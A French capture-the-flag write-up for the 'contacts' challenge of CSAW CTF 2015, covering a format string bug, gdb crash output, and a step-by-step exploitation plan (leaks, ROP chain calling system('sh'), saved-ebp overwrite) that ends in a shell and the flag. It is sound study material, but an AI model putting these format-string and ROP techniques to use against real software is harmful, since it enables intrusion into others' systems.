Voici un petit write-up pour le challenge 'contacts' du CSAW ctf 2015.

Analyse

$ rop-tool info ./exploit250
     ===== INFOS =====
    Filename                 ./exploit250
    File format              ELF32
    Architecture             x86
    Endianess                little endian
    Entry point              0x80485c0
    Loadables segments       2
    Sections                 28

    NX bit                   enabled
    SSP                      enabled
    Relro                    partial
    RPATH                    no rpath
    RUNPATH                  no runpath
    PIE                      disabled

Pour ce challenge, je suis resté sur de l'analyse dynamique.

 $ ./contacts
 Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>>

On a donc un programme qui permet de créer/détruire/éditer/afficher des contacts.

On découvre assez vite une vulnérabilité de type 'format string' dans la fonction permettant d'afficher les contacts :

    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>> 1
    Contact info:
            Name: A
    [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers
            Enter Phone No: 0000000000
            Length of description: 10
            Enter description:
                    %x%x%x
    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>> 4
    Contacts:
            Name: A
            Length 10
            Phone #: 0000000000
            Description: 9ee9358ecf4620b0
    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>>

On remarque, qu'en écrivant à l'adresse du 6ème argument, on est capable de réécrire un saved-ebp, et donc de rediriger le flux d'exécution si on arrive à avoir des données sous notre controle sur la stack :

$ gdb ./exploit250
     gdb-peda$ r
     warning: Cannot call inferior functions, Linux kernel PaX protection forbids return to non-executable pages!
    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>> 1
    Contact info:
            Name: A
    [DEBUG] Haven't written a parser for phone numbers; You have 10 numbers
            Enter Phone No: 0000000000
            Length of description: 100
            Enter description:
                    AAAA%6$n
    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
>>> 4
    Contacts:
            Name: A
            Length 100
            Phone #: 0000000000
            Description: AAAA
    Menu:
    1)Create contact
    2)Remove contact
    3)Edit contact
    4)Display contacts
    5)Exit
    >>> 5
    Thanks for trying out the demo, sadly your contacts are now erased

    Program received signal SIGSEGV, Segmentation fault.
    [----------------------------------registers-----------------------------------]
    EAX: 0x0
    EBX: 0x0
    ECX: 0xf27e7da8
    EDX: 0xf27e8870
    ESI: 0x1
    EDI: 0xf27e7000
    EBP: 0x4
    ESP: 0xfdc022f0
    EIP: 0x80487d1
    EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    Invalid $PC address: 0x80487d1
    [------------------------------------stack-------------------------------------]
    Invalid $SP address: 0xfdc022f0
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    Stopped reason: SIGSEGV
    0x080487d1 in ?? ()
    gdb-peda$ x/2i $eip
    => 0x80487d1:   leave
       0x80487d2:   ret
    gdb-peda$ x $ebp
       0x4: Cannot access memory at address 0x4

Exploitation

0x00

Grace à la format string, je leak l'adresse de la stack (6ème argument) et de la libc (2nd argument)

0x01

Je créer un contact afin de mettre des données que je controle sur la stack. Il s'agit d'une rop chain, faisant simplement un system("sh").

Afin d'augmenter les chances de retomber dessus, je rajoute au début un rop sled (une suite de ret).

0x02

Ensuite, je réécrit les 2 bytes de poids faible du saved-ebp (6ème argument présent sur la stack), afin de faire pointer esp sur ma rop-chain au moment du ret.

0x03

Il nous reste plus qu'à quitter le programme, afin que notre fonction retourne, et retombe sur notre rop-chain...

La difficulté majeure à laquelle j'ai été confronté, était que je n'avais aucune idée de quelle libc était utilisée sur le serveur distant...

Mais après quelques essais, j'ai tout de même réussi à retrouver les bons offsets principalement grâce à ce répo github : libc-database

    $ perl sploit.pl
    [+] Stack: 0xfff3e788
    [+] Libc: 0xf7604000
    [+] puts: 0xf7668c10
    [+] system: 0xf7643cd0
    [+] Enjoy your shell !
    $ ls
    contacts_54f3188f64e548565bc1b87d7aa07427
    flag
    $ cat flag
    flag{f0rm47_s7r1ng5_4r3_fun_57uff}

exploit

binaire